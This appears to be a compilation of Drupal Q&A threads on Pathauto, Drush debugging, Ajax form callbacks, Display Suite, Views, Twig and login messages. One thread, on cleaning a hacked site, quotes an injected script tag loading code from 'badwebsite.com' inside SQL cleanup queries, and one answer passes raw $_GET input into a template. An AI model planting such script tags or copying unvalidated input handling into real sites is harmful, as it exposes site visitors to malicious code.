Configuring/using Drupal Pathauto module I am new to Drupal. I just installed Drupal 8 and pathauto module.

Now I need to configure path patterns or whatever they are called.

On page https://www.drupal.org/documentation/modules/pathauto they give the path for configuring as:

For 7.x, 8.x: Administer > Configuration > Search and Metadata > URL aliases, in the "Patterns" tab.

But can't see "Patterns" tab. When I click http://localhost/admin/config/search/path/add I get to a page with a form and 2 fields:
1. Existing system path
2. Path alias

I also tried http://localhost/admin/config/search/path/pathauto and http://localhost/admin/config/search/pathauto but they both give me 'Page not found'.

How do I configure Pathauto?

A module must be enabled and configured after installing its files.


Can you debug a site with Drush? I have 3 Drupal 8 sites. 2 have premium themes and one is Bartik themed.

When I built the 2 the sites with premium themes in Ubuntu I could log in fine but when I log in to them when online (CentOS server) the sites crashes with the error:

  The website encountered an unexpected error. Please try again later.

This doesn't happen with the Bartik site.

I wonder if I could debug the problem somehow with Drush or if there is anything else than drush wd-show just to make sure I cover the most I can with it?

The only way I know to debug problems with drush is drush wd-show.

Is there any command that could help me understand why site logins fail on that particular environment?

Update - Error from Drush & Cpanel error log:

  [Tue Jul 19 14:50:11.393827 2016] [:error] [pid 15721] [client
  79.177.142.239:33948] Uncaught PHP Exception RuntimeException: "Failed to start the session because headers have already been sent by
  "/home/zantech0/public_html/yoursitename.com/themes/business/includes/skins-menu/skins_menu.inc"
  at line 2."

  at
  /home/zantech0/public_html/yoursitename.com/vendor/symfony/http-foundation/Session/Storage/NativeSessionStorage.php
  line 140, referer: http://yoursitename.com/user/login

Head of the file:

That error is often caused by PHP files that generate output they should not. Generally it's caused by errors like having a closing ?> and then a blank line at the end of the file. It's possible that a blank line was added during whatever process you used to move the file to the production server (git, lots of editors, and a few FTP clients will sometimes do this automatically).

In your case I would check /home/zantech0/public_html/yoursitename.com/themes/business/includes/skins-menu/skins_menu.inc to see if it does something that generates output (and therefore triggers PHP to send response headers).


How to set Ajax callback from jquery on node edit form? I must to create a dependent Fields with three fields in my content type. This fields are select list, but the options for each Field will be prepopulate from a sql query on external DB.

So, this is my form.js file:

 (function ($, Drupal) {
  'use strict';

  Drupal.behaviors.customTest = {
    attach: function (context, settings) {
      getTypes();

      function getTypes() {
        $('#edit-field-test1 option').not(':first').remove();
        alert("test")
        var request = $.ajax({
          url: "../../modules/custom/my_module/script/ajax.php",
          method: "POST",
          data: 'field_test1 =1',
          dataType: "json"
        });

        request.done(function(data){
          var opt = '';

          for(var i = 0, max = data.length; i < max; i++){
            opt += '<option value="'+data[i].id+'">'+data[i].name+'</option>';
          }

          $('#edit-field-test1').append(opt);
        });

        request.fail(function(jqXHR, textStatus){
          alert('Request failed: '+textStatus);
        });
      }
    }
  };
}(jQuery, Drupal));

And this is my ajax.php file:

    <?php
include '../db/bd.php'; <!--This file With host, user, password external DB-->

if(\Drupal::request()->request->get('field_test1')){
    $out = array();
    $sql = "SELECT * FROM `car_type`";
    $res = $db->query($sql) or die(mysqli_error($db));
    while($row = mysqli_fetch_object($res)){
        $out[] = array(
            'id' => $row->id_car_type,
            'name' => $row->name
        );
    }
    echo json_encode($out);
}

So, form.js file is declarated in my_module.libraries.yml, but ajax.php? where should i declare it? how do i use it?

Listening to your suggestion I did this.
Now this is my_module.module file:

    /**
 * Implements hook_form_FORM_ID_alter().
 */
function my_module_form_node_test_form_alter(&$form, \Drupal\Core\Form\FormStateInterface $form_state, $form_id) {

  $form['field_test1']['widget']['#ajax'] = [
    'event' => 'change',
    'callback' => 'my_module_myAjaxCallback',
    'disable-refocus' => FALSE,
    // Or TRUE to prevent re-focusing on the triggering element.
    'progress' => [
      'type' => 'throbber',
      'message' => t('Verifying entry...'),
    ]
  ];

  $form['#attached']['library'][] = 'my_module/trytest'; //form.js
}

/**
 * An Ajax callback.
 */
function my_module_myAjaxCallback(array &$form, FormStateInterface $form_state) {
  $db = new mysqli('host', 'user', 'password', "db");
  mysqli_set_charset($db, "UTF8");
  // Check connection
  if ($db->connect_error) {
    die("Connection failed: " . $db->connect_error);
  }
  else{
    echo "Connected successfully";
  }

  if(\Drupal::request()->request->get('field_test1')){
    $out = array();
    $sql = "SELECT * FROM `car_type`";
    $res = $db->query($sql) or die(mysqli_error($db));
    while($row = mysqli_fetch_object($res)){
      $out[] = array(
        'id' => $row->id_car_type,
        'name' => $row->name
      );
    }
    echo json_encode($out);
  }
}

Obviously it doesn't work because I don't know if it is correct to insert the data of the connection to the DB in this file and even if the code to return the query result to the file form.js. is correct.


How to download and enable module needing to subscribe to rss? I want to download and install "Node Redirect" module for version 7 of Drupal but I can't find a way to subscribe to rss as needed. What are the steps to follow to download the module?

In the right side menu there will a link Browse code repository. There you can find git clone URL

git://git.drupal.org/project/node_redirect.git

So you can clone it.


javascript hack added to every body field - how can I global search and replace? In the last week it seems that all my drupal sites were hacked.  One problem I have is that a javascript was inserted at the beginning of every content body field.   Attached is an image.

I have literally hundreds of nodes with the script maliciously added.
Does anyone have a simple suggestion for how I can remove this script from all the nodes?

Note: I'm not php savvy.   Just a drupal user who has built a few web sites.

Thanks

For other newbies like me, here's what I did to fix the problem.  In phpMyAdmin select the drupal database.

Just to be safe, you might want to Export the database in case anything goes wrong.

Once you've backed up, select the SQL tab.

Then check that you can find the string with the

SELECT * FROM `field_data_body` WHERE `body_value` LIKE "%<script type=\'text/javascript\' src=\'https://badwebsite.com/sc.js?p=3\'></script><script type=\'text/javascript\' src=\'https://badwebsite.com/sc.js?p=3\'></script><script type=\'text/javascript\' src=\'https://badwebsite.com/sc.js?p=3\'></script>%";

If the command above works, then you can use

UPDATE `field_data_body` SET `body_value` = REPLACE(`body_value`,"<script type=\'text/javascript\' src=\'https://badwebsite.com/sc.js?p=3\'></script><script type=\'text/javascript\' src=\'https://badwebsite.com/sc.js?p=3\'></script><script type=\'text/javascript\' src=\'https://badwebsite.com/sc.js?p=3\'></script>","")

to delete the string with the script.


Field template using Display Suite In Drupal 7 I could go to any entity's "manage display" and choose "expert" or "minimal," etc.

In Drupal 8, I can see a Twig template for expert, and a Plugin for expert (ex.g.) as well. But how do I get the UI where I can choose 'expert'?

If it's no longer in the UI, how do I implement my own Plugin? How can I write twig for just that field? If I'm doing that, why do I need Display Suite anyway (as I'm just using a one-col layout)? Do I?

Please follow the below steps :

Go to  Structure > Display Suite
Under Displays please click on settings tab and enable the checkbox named Enable Field Templates
Cheerss..now you can select desired templates.


How to hide a field of a Views row if comments are closed? I know there are some easy tricks to hide Views fields conditionally (catchword: hide if empty). None of them seems to work for me. Also hook_views_pre_render() or other preprocess approaches didn't work since they never touch the row in a way where I could have unset that certain field I'ld like to hide conditionally.

This is the setup I have to work with:

[field 1] hidden from display
[field 2] hidden from display
[field 3] hidden from display and rewritten to output <markup>[field 1][field 2]</markup>
[field 4] hidden from display
[field 5] rewritten to output <markup>[field 3][field 4]</markup>

I'ld like to unset [field 3] if comments of that row's nid are closed (if ($node->comment != 2)). I think maybe field handlers are the way to go, but I don't see how. I have to bind some .inc into my custom module, is that right? But which of these many .inc files is the one I have to work with and how would I alter it? Or are there other ways to achive what I need?

I think my main question is somewhere in the direction of "How to conditionally hide rewritten fields?" It seems really dificult to fetch these fields along the processing and unset them. Rebuildung the whole view would maybe bring me even more problems, while lots of css goes with the nested markup. I think it would've been much better to have started without fields and with a view mode instead in the very beginning.

in admin panel of that view.. add Filter criteria and select "Content: Comment status"

and then click on apply and then choose closed option in options box

let me know if need any clarification...

Thanks
Ashish Raj


How to show the user badges in my tpl.php file? This maybe a dumb question but what am I doing wrong?

From here: https://www.drupal.org/node/942014

It says I have to insert:

if (module_exists('user_badges')) {
    print user_badges_for_uid($uid);
  }

When I insert that on the last line of my  node.tpl.php it just shows as Text (like the whole code shows on the website). What am I doing wrong??

Can someone please help me?

The first thing that you need to do is add the php tag to the code:

<?
if (module_exists('user_badges')) {
 print user_badges_for_uid($uid);
}
?>

But for to that this code works you need to pass the uid = User Id

This code should do the job:

<?
// Getting the actual user.
global $user;

if (module_exists('user_badges')) {
 print user_badges_for_uid($user->uid);
}
?>


customize login error message I'm using Omega's sub-theme 'creativpink' and ajax_register module.

When user enters wrong user name or wrong password I want show *'The password entered is wrong. Please retry.' instead of Drupal's default error 'Sorry, unrecognized username or password. Have you forgotten your password?'.

I've tried with following code in my sub-theme's template.php file :

function _custom_validation(&$form, &$form_state){
  $query = db_select('users', 'u');
  $query->fields('u', array('name'));
  $query->condition('u.name', $form_state['values']['name'], '=');
  $result = $query->execute();
  $name = $result->fetchField();
  if(empty($name)){
    form_set_error('user_name', t('The password entered is wrong. Please retry.'));
  }
}

After saving file I entered wrong user name and password. The error message showed both default text and my custom text.

Sorry, unrecognized username or password. Have you forgotten your password?
The password entered is wrong. Please retry.

But I want to show only my custom error message. How to do this?

You can use function form_get_errors and function form_clear_error

function _custom_validation($form,$form_state){
  $errors = form_get_errors();
  if(!empty($errors)){
    $string_error = $errors['name'];
    if (strpos($string_error, 'unrecognized username or password') !== FALSE) {
      form_clear_error();
      form_set_error('name','The password entered is wrong. Please retry.');
    }
  }
}


How to retrieve GET parameter in Twig template I'm attempting to retrieve a GET request variable for use in a twig template.
For instance if you go to the page myurl.com/node/64?name=Dave I want the page to render

Dave

However I'm having trouble retrieving this variable. I've attempted

{{app.request.get('name')}}

In my twig template but it turns up empty.
How would I retrieve a GET variable from within a twig template?

You didn't say what template this is for, but app is not defined in any of the templates I have seen.

What you could do, is add a theme_preprocess_TEMPLATE function to include the GET params. Here is a page template example:

In your mytheme.theme file, add a hook_preprocess_page function.

/**
 * Implements hook_preprocess_page()
 */
function MYTHEME_preprocess_page(&$vars) {
  $vars['get']['name'] = $_GET['name'];
}

Then in your page.html.twig you can render it like this:

<h1>{{ get.name }}</h1>